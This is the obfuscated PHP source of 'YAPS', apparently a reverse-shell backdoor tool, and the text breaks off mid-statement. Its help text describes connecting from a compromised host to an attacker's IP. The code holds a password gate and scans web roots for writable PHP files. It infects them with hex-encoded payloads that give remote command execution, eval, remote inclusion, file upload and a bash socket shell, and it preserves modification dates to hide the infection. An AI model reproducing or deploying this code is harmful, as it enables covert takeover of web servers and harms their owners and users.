Enter the password: "); goto j6_sE; ZGeH5: CTSjt: goto NK6mZ; BFmPb: global $uhabo, $dOYbr, $GAr_9; goto RS25B; cadMr: $PNSir = substr($bVUhe, 0, -1); goto dTqV7; dTqV7: return hash("sha512", $GAr_9 . hash("sha512", $PNSir, false), false) == $dOYbr ? true : false; goto hJDpk; xbqTV: if (!($bVUhe = fread($uhabo, 1024))) { goto CTSjt; } goto cadMr; NK6mZ: } goto iZriP; kuiOY: function uya22($WcFd8, $zAbFR, $NJkba, $HOF_s, $Wrock = 1) { goto cA5fQ; b2IoV: fwrite($uhabo, n9iLw("[?] ") . oIPir("Are you sure you want to infect those files? [Y/n]")); goto J3CoI; KFDX3: hAAyv: goto iJVMB; gKhfl: AVU7o: goto qS5a9; C1XGa: return; goto FhH28; iJVMB: return; goto wYQId; EVWcE: $ra13a = $Wrock ? "End of file" : "Beginnig of file"; goto t6FMW; cA5fQ: global $uhabo; goto R7aCo; rSDE3: fwrite($uhabo, yuaT6("\xa[!] ") . OiPIR("Files to infect:
")); goto K0GM_; R7aCo: $bdStf = $HOF_s[array_keys($HOF_s)[$NJkba]]; goto rSDE3; tSkHP: if (!(strtolower(substr($nuYrD, 0, 1)) == "n")) { goto qSZ1I; } goto C1XGa; l1LON: Z3cDs: goto xwQ_2; t6FMW: fwrite($uhabo, yuat6("[!] ") . OiPir("Position: ") . $ra13a . "\xa"); goto b2IoV; FhH28: qSZ1I: goto inQ2k; xwQ_2: fwrite($uhabo, YUAT6("[!] ") . oiPIr("Payload: ") . $HOF_s[array_keys($HOF_s)[$NJkba]] . "
"); goto EVWcE; K0GM_: foreach ($zAbFR as $t6xVR) { fwrite($uhabo, $WcFd8[$t6xVR] . "\xa"); EdqnP: } goto l1LON; OONdF: goto XLe5f; goto gKhfl; qS5a9: foreach ($zAbFR as $t6xVR) { goto ciir5; A212K: $lnLRa = $F4egJ ? F3vE0("[+] ") . oIpIr($t1PYd . " was infected with payload !") : awT6z("[-] ") . oiPIR($t1PYd . " Error!"); goto v9BzE; YTZfp: if (!rrOj3("touch -d " . """ . $urFP2 . "" " . $t1PYd)) { goto yziDD; } goto AGT5O; aONrh: yziDD: goto bzWRA; ekCWJ: if (!(wKZaM("file_get_contents") && wkZam("file_put_contents"))) { goto wp17k; } goto ymV2w; AvL__: $urFP2 = str_replace("\xa", '', RRoJ3("stat " . $t1PYd . " | grep Modify | sed "s/Modify: //"")); goto Br2Gn; v9BzE: fwrite($uhabo, $lnLRa . "
"); goto YTZfp; ciir5: $t1PYd = $WcFd8[$t6xVR]; goto ekCWJ; Df6HR: QCSYa: goto x9Uvv; AGT5O: fwrite($uhabo, F3vE0("[+] ") . OIPIR("Mantained original 'modified date' (" . $urFP2 . ").
")); goto aONrh; Br2Gn: if ($Wrock) { goto Ke9q5; } goto Wofw9; bzWRA: wp17k: goto Df6HR; bCtge: goto Bz6Gl; goto R2oq1; h4yqM: Bz6Gl: goto A212K; Wofw9: $F4egJ = file_put_contents($t1PYd, $bdStf . "\xa" . $HCTBP) ? 1 : 0; goto bCtge; R2oq1: Ke9q5: goto hgQ1w; hgQ1w: $F4egJ = file_put_contents($t1PYd, "
" . $bdStf, FILE_APPEND) ? 1 : 0; goto h4yqM; ymV2w: $HCTBP = file_get_contents($t1PYd); goto AvL__; x9Uvv: } goto KFDX3; inQ2k: goto AVU7o; goto OONdF; ysYHH: if (!($nuYrD = fread($uhabo, 128))) { goto AVU7o; } goto tSkHP; J3CoI: XLe5f: goto ysYHH; wYQId: } goto eHwdO; zjsja: ignore_user_abort(1); goto rOjHT; Vi22B: H5lpw: goto dB_FX; l49dA: MWxhT: goto IYlYs; ZWvp6: function WXFy1() { global $XHy50, $xebfD; return $XHy50 . "
" . yUaT6("Usage:") . OiPiR("
There are three ways you can start the connection:
") . F3vE0("1. Via command line in the compromised host;") . "\xa\x9E.g: $ php yaps.php [options] [ip port|ip:port]
" . F3ve0("2. Making a POST request to the file with the parameter "x";") . "\xa E.g: $ curl -X POST -d "x=192.168.73.59:7359" hacked.com/uploads/yaps.php
" . f3vE0("3. Making a GET request without parameters (will connect to the hardcoded socket);") . "
E.g: $ curl hacked.com/uploads/yaps.php\xa" . YUAT6("Options:") . OIpiR("\xa-h, --help: Show this help
-s, --silent: Silent mode (does not display banner)\xa-u, --update: Check if YAPS is up to date
") . yuaT6("Examples (suppose your IP is 192.168.73.59):") . "\xainfected@host:~$ php yaps.php -s 192.168.73.59 4444\xainfected@host:~$ php yaps.php 192.168.73.59:8080
your@machine:~$ curl -X POST -d "x=192.168.73.59" hacked.com/uploads/yaps.php\xa"; } goto xePMo; tSd1g: buOLW: ?>Did this file decode correctly?
Original Code
<?php
goto QGPoz; pjNJ3: $xD1XF = false; goto v31ws; l6S9P: $H2VFm = array("\141\x6c\154\x2d\143\x6f\154\x6f\162\x73", "\x63\x6f\154\157\x72", "\144\165\160\154\151\x63\141\164\145", "\145\156\x75\x6d", "\150\145\x6c\x70", "\x69\x6e\x66\x65\x63\164", "\x69\x6e\146\x6f", "\x70\x61\163\x73\167\x64", "\160\x68\160", "\163\x74\x61\142\151\154\x69\x7a\145", "\x73\x75\147\147\x65\163\164\145\x72"); goto Hq9IW; LpxCm: if (!(php_sapi_name() == "\x63\x6c\x69")) { goto ag_lZ; } goto rXlem; BmdWU: ini_set("\144\x65\x66\141\165\154\x74\137\x73\x6f\143\x6b\145\x74\137\x74\x69\155\x65\157\x75\164", pow(99, 6)); goto Z20wU; gUF59: function h2S1z() { goto jqT4Z; jqT4Z: global $xebfD, $xMbBb; goto cefOX; LTznu: $UZ2FE = (int) str_replace("\x2e", '', $ioe4i); goto ygJQx; tQgyB: $ioe4i = $Ya3CV; goto VORv6; VORv6: KfVOY: goto LTznu; DAbe4: echo awT6Z("\x5b\151\135") . "\x20\x59\x6f\x75\162\x20\x76\x65\162\163\151\157\x6e\x20\151\x73\40\x6e\x6f\x74\40\165\x70\40\x74\x6f\x20\144\x61\x74\145\x2e\xa" . f3vE0("\x5b\x44\x4f\127\x4e\114\x4f\x41\104\x20\x76" . str_replace("\xa", '', $ioe4i) . "\135\x3a\40") . $xMbBb["\x75\x70\x64\x61\x74\145\x55\x52\x4c"] . "\12"; goto DGt1K; sEwlQ: if (!$Ya3CV) { goto KfVOY; } goto tQgyB; WeDq9: if (!($UZ2FE !== 0 && $UZ2FE > $sMW83)) { goto GSKyd; } goto DAbe4; cefOX: $ioe4i = 0; goto LHt1U; DGt1K: return; goto Z3cFt; PWFc9: $Ya3CV = Nk5x0($xMbBb["\x76\145\x72\x69\146\171\x55\160\144\141\x74\x65\x55\x52\x4c"]); goto sEwlQ; ygJQx: $sMW83 = (int) str_replace("\56", '', $xebfD); goto WeDq9; nYhmV: return; goto sZUyp; Z3cFt: GSKyd: goto oNGY8; oNGY8: echo f3ve0("\133\53\135\x20") . "\x59\101\120\123\40\x69\x73\x20\141\x6c\x72\x65\x61\x64\x79\40\x75\x70\x20\164\x6f\40\144\x61\164\145\x20\50\x76{$xebfD}\51\x21\12"; goto nYhmV; LHt1U: echo n9Ilw("\133\151\x5d\40") . "\131\157\165\162\x20\x76\145\x72\163\x69\157\156\x3a\x20{$xebfD}\56\x20\x43\150\145\x63\x6b\151\156\x67\40\x66\157\162\40\x75\160\144\x61\164\145\163\56\x2e\56\xa"; goto PWFc9; sZUyp: } goto guQzh; J2I63: $xD1XF = true; goto rhWvb; yx13G: function huQhF($CLARD) { goto fNVBA; G0xH4: return; goto WDKS9; Thig9: foreach ($H2VFm as $nKpKT) { goto Aac_L; sisSa: gRKo9: goto ucexY; Aac_L: similar_text($CLARD, $nKpKT, $iuE01); goto UXqR8; zab_5: return; goto sisSa; ucexY: MUmbu: goto MGSTt; UXqR8: if (!($iuE01 > 70)) { goto gRKo9; } goto z0zPu; z0zPu: fwrite($uhabo, YuaT6("\133\x21\x5d\x20") . "\x43\x6f\x6d\x6d\x61\x6e\x64\40\47\41{$CLARD}\x27\40\x6e\157\x74\x20\x66\x6f\165\156\144\x2e\40\104\151\144\40\171\157\165\40\155\145\x61\x6e\x20\47\x21" . $nKpKT . "\47\x3f\x2e\12"); goto zab_5; MGSTt: } goto ih9Pl; ZYbD6: fwrite($uhabo, YuAt6("\133\41\135\40") . "\x43\157\x6d\x6d\141\156\144\40\x27\x21" . substr($B5Fzl, 1, -1) . "\x27\x20\x6e\157\164\x20\146\157\165\x6e\144\56\x20\x55\163\145\x20\41\x68\x65\154\160\x2e\xa"); goto G0xH4; ih9Pl: bU39E: goto ZYbD6; fNVBA: global $uhabo, $H2VFm; goto Thig9; WDKS9: } goto xdRGX; raSj4: NX5_7: goto e3vL1; t6i1K: if (!$HgTE6) { goto Ym3gI; } goto lIWFc; A41J3: if (isset($_REQUEST["\163\x74\141\142\x69\154\151\172\x65"]) && $_REQUEST["\163\x74\141\x62\151\154\151\172\x65"]) { goto NX5_7; } goto hMjzI; lX7Z9: function KBrWn() { goto SzZcH; DWtlO: IWgOe: goto AqL9Q; gzxgp: return false; goto y0eCN; z1UAI: $x4fyd = file_get_contents($M2vrL); goto PeAn1; iN0pF: $GxCAX = false; goto NKllb; KH1gJ: fwrite($uhabo, AwT6z("\x5b\55\135\x20") . "\103\x6f\x75\x6c\144\x6e\47\x74\40\x64\x65\141\143\x74\x69\x76\141\x74\x65\x20\160\x61\163\x73\167\x6f\162\144\x2e\xa"); goto BAqzn; BAqzn: return false; goto DWtlO; AqL9Q: $CufM3 = preg_replace("\57\x28\134\x24\x75\163\x65\137\x70\141\163\163\167\157\162\x64\x20\53\75\40\x2b\x29\50\x66\x61\x6c\163\145\x29\x2f", "\44\x31\x74\162\x75\x65", $x4fyd, 1); goto zul8m; Vb_zH: if (!file_put_contents($M2vrL, $CufM3)) { goto uFF8M; } goto iN0pF; SzZcH: global $GxCAX, $uhabo, $M2vrL; goto z1UAI; XGxrZ: VC1DL: goto uwoHm; PeAn1: if (!$GxCAX) { goto IWgOe; } goto RV9fS; NKllb: fwrite($uhabo, f3ve0("\133\x2b\135\40") . "\120\x61\x73\x73\167\157\162\x64\40\144\145\141\143\x74\x69\x76\x61\164\x65\144\56\12"); goto K6b4j; uwoHm: fwrite($uhabo, Awt6z("\x5b\55\x5d\40") . "\103\x6f\165\154\144\156\x27\x74\40\x61\143\x74\151\x76\x61\164\x65\x20\160\141\x73\163\x77\x6f\162\x64\x2e\12"); goto gzxgp; VvB2O: return true; goto XGxrZ; RV9fS: $CufM3 = preg_replace("\57\x28\134\44\165\x73\x65\137\160\141\163\163\x77\157\162\144\x20\53\x3d\x20\53\51\x28\x74\x72\x75\145\51\x2f", "\x24\61\146\141\154\x73\145", $x4fyd, 1); goto Vb_zH; K6b4j: return true; goto z1uHP; z1uHP: uFF8M: goto KH1gJ; vpiiQ: $GxCAX = false; goto UAzMW; UAzMW: fwrite($uhabo, F3vE0("\x5b\53\135\x20") . "\x50\141\x73\x73\x77\x6f\162\144\x20\x61\x63\x74\x69\166\141\x74\145\x64\x2e\xa"); goto VvB2O; zul8m: if (!file_put_contents($M2vrL, $CufM3)) { goto VC1DL; } goto vpiiQ; y0eCN: } goto uBNhu; rXlem: if ($argc >= 2 && preg_match("\x2f\x5e\133\x30\x2d\71\x5d\x2b\x24\x2f", $argv[$argc - 1])) { goto MWxhT; } goto VFasZ; RWyv3: if (!(isset($JdZ3h["\163"]) || isset($JdZ3h["\x73\x69\x6c\145\x6e\164"]))) { goto dAFYi; } goto J2I63; sIvL8: die(wXFY1()); goto Vi22B; vFVV1: die(AWT6Z("\133\x2d\x5d\x20") . "\x43\x6f\165\x6c\x64\156\x27\164\40\143\157\156\x6e\145\143\164\x20\x74\x6f\x20\x73\x6f\143\x6b\145\164\x20{$cQPaX}\x3a{$rpc4Z}\x2e"); goto dGYVi; iEi9A: function AVOfN() { } goto Cm_e7; cj8Qs: function oiPiR($GXImm) { global $vIiwX; return $vIiwX ? "\33\x5b\71\67\155" . $GXImm . "\33\x5b\x30\155" : $GXImm; } goto ut07K; lrvX1: Ym3gI: goto A41J3; RF2SJ: $cUxHT = "\133\x59\x41\x50\123\135\40" . str_replace(PHP_EOL, '', F3ve0(rROj3("\x77\x68\x6f\141\x6d\x69") . "\x40" . rRoj3("\x68\x6f\x73\164\156\x61\155\145")) . "\x3a" . n9ilW(rRoj3("\x70\x77\144")) . "\x24\40"); goto Hqgam; VFasZ: foreach ($argv as $kFRIi) { goto swjQL; swjQL: if (!(strpos($kFRIi, "\72") !== false)) { goto kX9yp; } goto IEJuk; U9pAo: $rpc4Z = (int) $rxU9o[1]; goto Dj1MV; Mo1wP: $cQPaX = $rxU9o[0]; goto U9pAo; IEJuk: $rxU9o = explode("\x3a", $kFRIi); goto Mo1wP; Dj1MV: kX9yp: goto oxi46; oxi46: Bo5ys: goto GpmSE; GpmSE: } goto RJvRn; dB_FX: if (!(isset($JdZ3h["\x75"]) || isset($JdZ3h["\x75\x70\x64\141\x74\x65"]))) { goto Bl_zz; } goto yoo3n; TbUbd: $WoC0p = array("\165\x70\144\141\x74\x65\x3a\72", "\150\145\154\160\72\x3a", "\163\151\x6c\x65\156\x74\x3a\x3a"); goto qgQIQ; ZkRG8: if (!(isset($JdZ3h["\x68"]) || isset($JdZ3h["\x68\145\154\x70"]))) { goto H5lpw; } goto sIvL8; S45x_: $cQPaX = "\61\62\67\x2e\60\56\x30\x2e\61"; goto ycjnx; zRW7w: function tGeMZ() { goto dIjJZ; yawA0: M0nvj: goto qxQKg; SNFuo: foreach ($nuAkD as $olpJM) { try { $jwqgp = TWWE0($olpJM); $DjMSp = array_merge($DjMSp, $jwqgp); } catch (Exception $q9his) { } gZ8sy: } goto sWsxc; RDubP: Yx37V: goto P51SN; S2nTd: goto M0nvj; goto MDEqy; aZ4ws: Q8yl1: goto THPYS; RHgJv: return; goto S2nTd; yB_xq: nrBb3: goto Xi4mb; d2ZJC: $Rbepn = explode("\x2c", $Rbepn); goto pz2sI; NIVcx: kdHlD: goto QrhSI; P51SN: $WV7Df = 0; goto NIVcx; THPYS: $y4hdb = array(); goto LgjTx; MDEqy: gbDAZ: goto PvNk_; LG9Pm: goto kdHlD; goto J6IQz; yhV07: fwrite($uhabo, N9ilw("\12\x5b\52\135\40") . OIpIr("\103\x68\x6f\x6f\x73\x65\40\164\x68\145\40\146\151\154\145\163\40\171\157\165\40\167\x61\x6e\x74\x20\x74\x6f\40\x69\156\146\145\x63\x74\x2e\xa\x20\40\x20\40\x53\x65\160\141\x72\141\x74\145\40\142\171\x20\x63\x6f\x6d\x6d\141\40\x28\x65\x2e\x67\72\x31\54\x35\54\x37\x2c\70\x29\40\x61\x6e\144\x2f\157\162\40\142\x79\x20\x72\141\x6e\147\145\40\50\x65\56\147\72\x31\x30\x2d\x31\x36\x29\56\xa\40\40\40\x20\x46\151\154\x65\163\72\40")); goto yawA0; J6IQz: nr30n: goto yhV07; qxQKg: if (!($zXjQF = fread($uhabo, 1024))) { goto gbDAZ; } goto jiZMX; jiZMX: $Rbepn = str_replace("\40", '', substr($zXjQF, 0, -1)); goto d2ZJC; P4Z8D: $nuAkD = array("\57\166\x61\x72\57\167\167\167\57", "\57\163\162\166\57", "\x2f\x75\x73\x72\x2f\x6c\x6f\143\x61\154\57\x61\x70\141\143\x68\x65\x32\57", "\x2f\x76\x61\x72\x2f\x61\x70\x61\143\150\145\62\x2f", "\x2f\166\x61\162\57\167\x77\x77\x2f\156\x67\151\156\170\55\x64\145\x66\141\165\154\164\x2f"); goto AUe1a; QrhSI: if (!($WV7Df < count($DjMSp))) { goto nr30n; } goto e0vSb; LgjTx: foreach ($Rbepn as $WAWAi) { goto OZ2E4; sjOiR: goto h7q19; goto O58y2; GSViH: array_push($y4hdb, $WV7Df); goto xCnrC; BRd29: $WV7Df++; goto sjOiR; OZ2E4: if (!preg_match("\x2f\x5e\133\60\55\71\x5d\x2b\44\x2f", $WAWAi)) { goto odeYI; } goto nKYm5; JxeTt: QYdab: goto rQAeD; Mbmp_: if (!((int) $WV7Df <= $Xemoh[1])) { goto NN4O6; } goto GSViH; xCnrC: BLzr3: goto BRd29; nKYm5: array_push($y4hdb, $WAWAi); goto NNKRN; VI2xX: h7q19: goto Mbmp_; rQAeD: YPxPF: goto WnF26; V755V: DTphN: goto JxeTt; O58y2: NN4O6: goto V755V; RZyKo: $WV7Df = (int) $Xemoh[0]; goto VI2xX; NNKRN: odeYI: goto G5hMK; G5hMK: if (!preg_match("\x2f\x5e\x5b\x30\x2d\x39\135\x2b\x5c\x2d\x5b\60\55\x39\x5d\x2b\44\x2f", $WAWAi)) { goto QYdab; } goto vxQ5R; leWD4: if (!((int) $Xemoh[0] < (int) $Xemoh[1])) { goto DTphN; } goto RZyKo; vxQ5R: $Xemoh = explode("\55", $WAWAi); goto leWD4; WnF26: } goto yB_xq; sWsxc: k2T4w: goto i3tn4; oCkwa: return; goto aZ4ws; dIjJZ: global $uhabo; goto P4Z8D; e0vSb: fwrite($uhabo, awT6Z("\133{$WV7Df}\x5d\x20") . $DjMSp[$WV7Df] . PHP_EOL); goto vDs1t; Fm5Ux: $WV7Df++; goto LG9Pm; Tzj9w: MYmVx($DjMSp, array_unique($y4hdb)); goto RHgJv; AUe1a: $DjMSp = array(); goto SNFuo; NBeae: fwrite($uhabo, N9ILw("\133\52\x5d\x20") . OIpIr("\x46\157\165\156\144\x20" . count($DjMSp) . "\x20\x77\162\151\x74\141\x62\154\x65\x20\120\x48\x50\40\x66\x69\154\145\163\72\xa")); goto RDubP; vDs1t: nPDOz: goto Fm5Ux; i3tn4: if (!(count($DjMSp) > 0)) { goto Yx37V; } goto NBeae; pz2sI: if (!(count($Rbepn) == 1 && $Rbepn[0] == '')) { goto Q8yl1; } goto oCkwa; Xi4mb: sort($y4hdb, SORT_NUMERIC); goto Tzj9w; PvNk_: } goto jeq3J; ycjnx: $rpc4Z = 7359; goto gxdx5; jeq3J: function mYMVx($WcFd8, $y4hdb) { goto nyQD7; bwBrX: return; goto hwjLs; lHfBj: $Wrock = 0; goto F4VIb; V60LL: me1gn: goto Ui1fu; VYnLW: foreach ($lrdza as $kW0w8 => $vFg21) { goto GFwkY; xXlw3: $WV7Df = !$WV7Df; goto rbevS; rbevS: NWe13: goto Jm2ER; Nyc8O: fwrite($uhabo, $jIucy . "\12"); goto xXlw3; GFwkY: $jIucy = $WV7Df ? N9ILW($kW0w8) . $vFg21 : n9ILw($kW0w8) . OiPir($vFg21); goto Nyc8O; Jm2ER: } goto DgdFC; olh70: $PQPgA = $F4WQY; goto XceIe; Mz6tL: KO441: goto J2p1R; DgdFC: XeXBo: goto bhRqR; i38Qp: goto KO441; goto UNO6E; UNO6E: goto me1gn; goto Mz6tL; KdH6D: $WV7Df = true; goto VYnLW; OIdbJ: goto d2mBM; goto J7ZeC; Mjveo: $Wrock = 1; goto rLo8Q; UJDvz: if (!((int) $F4WQY <= count($lrdza) + 1)) { goto NzMCq; } goto olh70; J7ZeC: goto ou4UO; goto Amt4J; Amt4J: d2mBM: goto XrivY; XceIe: NzMCq: goto i38Qp; Ui1fu: if (!($F4WQY = fread($uhabo, 128))) { goto KO441; } goto v0rm7; v0rm7: $PQPgA = 0; goto UJDvz; XrivY: UYa22($WcFd8, $y4hdb, (int) $PQPgA, $lrdza, (int) $Wrock); goto bwBrX; ZjlDC: if (!($Wrock = fread($uhabo, 128))) { goto d2mBM; } goto Mjveo; J2p1R: fwrite($uhabo, n9iLw("\x5b\77\135\40") . Oipir("\104\x6f\x20\x79\x6f\x75\x20\167\141\156\x74\40\144\x6f\40\x69\x6e\163\145\x72\x74\40\164\150\145\x20\160\x61\171\154\x6f\x61\144\40\x61\x74\x20\164\x68\x65\40\x62\145\x67\151\156\156\x69\156\x67\x20\133\60\135\40\157\162\x20\x65\156\x64\40\133\x31\x5d\40\157\x66\40\164\150\x65\x20\146\x69\x6c\145\x20\50\x64\145\x66\141\x75\x6c\x74\72\40\x31\x29\x3f\x20")); goto nxzty; RpnqE: $lrdza = array("\x30\56\x20\124\x69\156\x79\x52\103\x45\x9" => "\74\77\x3d\x60\44\x5f\x52\105\x51\125\105\123\x54\133\60\x5d\140\73\x3f\x3e", "\61\x2e\x20\103\154\141\x73\163\151\143\x52\x43\x45\11" => "\74\77\x3d\100\x73\x79\163\164\145\155\50\x24\x5f\122\x45\121\125\x45\123\x54\133\60\135\x29\73\x3f\76", "\x32\56\x20\105\166\141\x6c\11\11" => "\x3c\x3f\75\x40\145\166\x61\x6c\50\44\137\x52\105\121\x55\105\123\x54\133\x30\x5d\x29\x3b\77\x3e", "\63\x2e\x20\102\x61\x73\x65\144\105\x76\x61\154\x9" => "\74\x3f\x3d\100\x65\166\x61\154\x28\x62\141\x73\145\x36\x34\x5f\144\145\x63\157\144\x65\x28\44\x5f\122\105\x51\125\105\x53\124\133\60\x5d\51\x29\x3b\x3f\76", "\x34\x2e\x20\122\145\x6d\157\164\x65\x50\110\x50\x9" => "\x3c\77\x3d\100\145\166\141\x6c\50\x66\151\154\x65\137\x67\x65\x74\137\143\157\156\x74\x65\156\x74\x73\50\x24\x5f\122\x45\x51\125\x45\123\x54\x5b\60\x5d\x29\51\73\77\76", "\65\x2e\x20\122\x65\155\x6f\x74\145\x55\160\154\157\x61\144\11" => "\x3c\77\75\44\170\75\162\141\x6e\144\50\61\60\60\54\71\71\x39\51\x3b\x40\146\x69\x6c\x65\137\x70\x75\164\137\x63\x6f\156\x74\145\x6e\164\163\x28\x22\x2e\57\42\56\x24\170\x2e\x22\56\42\x2e\x24\x5f\122\x45\x51\125\105\x53\124\x5b\61\x5d\54\x40\x66\x69\154\x65\137\147\x65\164\137\x63\x6f\x6e\x74\x65\156\x74\x73\50\x24\137\122\105\x51\125\x45\x53\124\133\x30\135\51\x29\x3b\145\143\150\157\x20\44\x78\x2e\x24\137\122\x45\x51\x55\x45\123\x54\x5b\x31\x5d\73\x3f\x3e", "\x36\x2e\x20\114\x6f\x63\x61\x6c\125\x70\x6c\x6f\141\144\11" => "\x3c\x3f\160\150\160\40\151\146\x28\x69\x73\163\145\164\50\44\x5f\x46\x49\114\105\123\x5b\x22\60\x22\x5d\x29\51\x69\x66\x28\155\157\x76\145\x5f\165\x70\x6c\x6f\141\144\145\144\137\146\151\154\145\50\44\x5f\x46\x49\114\x45\123\x5b\42\x30\x22\135\133\42\164\155\160\x5f\156\141\x6d\x65\42\x5d\x2c\x22\x5f\42\56\44\137\106\111\114\x45\x53\133\x22\60\x22\135\x5b\x22\x6e\x61\155\x65\x22\135\x29\x29\x65\143\150\x6f\42\125\x70\x6c\x6f\x61\144\x65\144\72\x20\x5f\x22\56\44\137\106\x49\x4c\105\x53\133\42\60\x22\135\x5b\x22\x6e\x61\155\x65\42\x5d\x3b\77\x3e", "\67\x2e\40\123\164\141\x62\x6c\x65\123\x68\145\154\154\11" => "\74\x3f\160\x68\160\x20\x24\x61\x3d\42\163\143\x72\151\160\x74\40\x2d\161\x63\40\57\x62\151\156\x2f\142\141\x73\150\40\x2f\x64\145\166\x2f\x6e\165\x6c\154\x22\x3b\x75\x6d\x61\x73\153\50\60\51\x3b\44\x62\75\x66\x73\157\x63\153\157\x70\145\156\x28\44\137\x52\105\121\125\105\123\x54\133\x30\135\54\x24\137\x52\x45\x51\x55\105\x53\x54\133\61\x5d\x2c\x24\x63\54\44\x64\x2c\x33\x30\x29\x3b\x24\145\75\141\x72\x72\x61\171\x28\x30\75\x3e\x61\162\x72\141\171\50\42\x70\151\x70\145\x22\x2c\x22\x72\x22\x29\54\x31\75\76\141\x72\162\141\171\50\x22\x70\151\x70\x65\42\54\x22\167\x22\x29\54\62\x3d\x3e\141\162\162\141\x79\50\x22\x70\151\x70\145\x22\54\x22\167\42\51\51\x3b\x24\146\x3d\x70\162\157\x63\137\157\x70\x65\x6e\50\x24\141\54\x24\x65\54\x24\x67\x29\73\146\x6f\x72\145\141\x63\x68\x28\x24\x67\40\141\163\40\x24\x70\x29\163\164\162\145\x61\x6d\137\x73\x65\164\137\142\154\x6f\x63\153\x69\x6e\x67\x28\44\160\54\60\x29\73\163\x74\x72\x65\141\155\137\x73\x65\x74\x5f\142\x6c\x6f\143\x6b\x69\156\147\50\44\142\54\x30\x29\73\167\150\151\154\145\50\x21\x66\145\157\146\50\x24\142\x29\x29\173\x24\151\x3d\141\x72\162\x61\171\50\44\x62\54\x24\147\133\61\135\54\44\x67\133\x32\135\51\x3b\151\146\x28\x69\x6e\x5f\141\162\162\141\x79\50\44\x62\54\44\x69\51\x29\146\x77\x72\x69\x74\145\50\44\147\x5b\60\135\54\146\x72\145\x61\144\x28\44\142\54\62\x30\64\70\x29\x29\73\x69\146\50\151\x6e\137\x61\x72\162\x61\171\50\x24\147\133\x31\135\54\x24\x69\51\51\146\x77\x72\151\164\145\x28\x24\142\x2c\x66\162\x65\141\144\x28\44\x67\133\61\x5d\x2c\62\60\64\x38\51\x29\x3b\x69\146\x28\x69\x6e\x5f\x61\x72\162\x61\x79\50\44\x67\133\x32\135\54\44\151\51\x29\146\167\162\151\164\x65\50\x24\142\54\146\x72\x65\141\x64\50\x24\x67\133\x32\135\54\62\60\x34\70\51\51\x3b\x7d\146\x63\x6c\x6f\163\x65\x28\44\142\x29\x3b\146\157\162\x65\141\143\150\x28\44\147\x20\141\163\40\44\x70\51\x66\143\x6c\x6f\x73\145\50\x24\x70\x29\73\x70\x72\157\143\137\x63\x6c\157\x73\x65\x28\x24\x66\51\x3b\x3f\76"); goto GUoH4; F4VIb: oT3Nw: goto OIdbJ; bhRqR: fwrite($uhabo, N9ILw("\xa\133\x3f\135\x20") . oiPir("\103\150\157\157\163\145\40\x61\40\x70\141\x79\x6c\x6f\141\x64\x20\164\157\x20\151\x6e\x66\145\143\x74\40\x74\x68\145\x20\163\x65\154\145\143\x74\145\144\x20\146\x69\154\x65\163\40\x28\144\x65\146\141\165\154\x74\72\x30\51\x3a\x20")); goto V60LL; nxzty: ou4UO: goto ZjlDC; nyQD7: global $uhabo; goto RpnqE; rLo8Q: if (!((int) $Wrock === 0)) { goto oT3Nw; } goto lHfBj; GUoH4: fwrite($uhabo, n9ilw("\xa\133\151\x5d\40") . OiPiR("\x4c\x69\163\x74\x20\157\146\x20\x70\x61\x79\x6c\157\x61\x64\163\x20\141\x76\141\151\x6c\141\x62\154\145\72\12")); goto KdH6D; hwjLs: } goto kuiOY; iX619: function yuAT6($GXImm) { global $vIiwX; return $vIiwX ? "\33\133\71\63\x6d" . $GXImm . "\x1b\x5b\60\x6d" : $GXImm; } goto LXiL6; B8toS: function s4Rg1() { goto V4VLU; SCOOq: if (!($B5Fzl = fread($uhabo, 4096))) { goto wz1lL; } goto LDbh7; QBAqy: oCFW2: goto SCOOq; v2zV4: if (!(substr($B5Fzl, 0, -1) == "\41\143\x61\x6e\x63\145\x6c")) { goto lGivq; } goto EKIOn; Wc55u: wz1lL: goto oQbKG; emJig: fwrite($uhabo, n9IlW("\x5b\x2a\135") . "\40\x57\x72\151\164\x65\x20\x79\157\165\162\40\120\x48\x50\x20\143\x6f\144\145\40\50\x2a\167\151\164\150\x6f\165\x74\52\x20\x50\110\120\x20\164\x61\x67\163\x29\x2e\x20\x54\x6f\x20\163\145\156\144\40\x61\156\x64\40\x72\x75\x6e\40\x69\x74\54\40\165\x73\x65\x20" . F3Ve0("\41\160\x68\160") . "\x2e\40" . YuAT6("\12\x5b\x69\135\x20\116\x6f\164\x65\40\164\x68\141\x74\x20\x74\150\x69\x73\x20\x69\163\x20\116\117\x54\x20\x61\x6e\40\151\156\x74\x65\162\141\x63\164\x69\166\x65\x20\120\110\120\x20\x73\150\x65\154\x6c\56\x20\x4d\141\170\x20\x69\x6e\160\165\164\x3a\40\64\60\x39\66\40\x62\x79\x74\x65\163\x2e") . Oipir("\12\160\x68\160\76\x20")); goto QBAqy; LDbh7: if (!(substr($B5Fzl, 0, -1) == "\41\160\150\160")) { goto jM4Oc; } goto TuvOO; oQbKG: return $KH_7J; goto ydTSQ; tjxAC: lGivq: goto w3TWl; j73qE: $KH_7J = ''; goto emJig; XST9V: jM4Oc: goto v2zV4; EKIOn: return 0; goto tjxAC; v8N71: goto oCFW2; goto Wc55u; xc6Vr: $KH_7J .= $B5Fzl; goto v8N71; V4VLU: global $uhabo; goto j73qE; TuvOO: return $KH_7J; goto XST9V; w3TWl: fwrite($uhabo, oIPIR("\x70\150\x70\x3e\40")); goto xc6Vr; ydTSQ: } goto XB1yM; ZKUbC: $cQPaX = $sC5i_[0]; goto tdw0o; DdGcE: function nk5X0($FGeFq) { goto NkQ1c; sf_Ip: XZJQT: goto v01fR; Gm1Pj: EBjKd: goto ALfEM; ALfEM: $en6J9 = file_get_contents($FGeFq); goto FwWf7; zEbl4: goto XZJQT; goto vRBG5; g05FU: MZ4oA: goto sMTga; TCSRq: if (in_array("\143\x75\x72\x6c", get_loaded_extensions())) { goto MZ4oA; } goto YcsJ_; T7R4c: xCIsA: goto tFvQG; wDR13: $en6J9 = fread(fopen($FGeFq, "\162"), 10); goto kqnSo; vRBG5: xaOIg: goto O3U1b; x7kEV: goto XZJQT; goto Gm1Pj; v01fR: return $en6J9; goto Zafz5; SzrOD: goto XZJQT; goto T7R4c; YJLsq: if (WKzAm("\146\x69\154\145\137\x67\x65\x74\137\143\x6f\156\164\x65\x6e\x74\x73")) { goto EBjKd; } goto BQqOh; y0osr: lZiwq: goto wDR13; sMTga: $L8lp2 = UMBYV(); goto x6iDz; YcsJ_: if ($uevcA = rrOJ3("\143\x75\x72\154\40\55\x73\x20" . $FGeFq)) { goto xCIsA; } goto z2EVi; s2TkE: MaHH8($L8lp2, Tj4C4, 1); goto n48qR; Su7FO: EEdLC($L8lp2); goto SzrOD; BQqOh: if 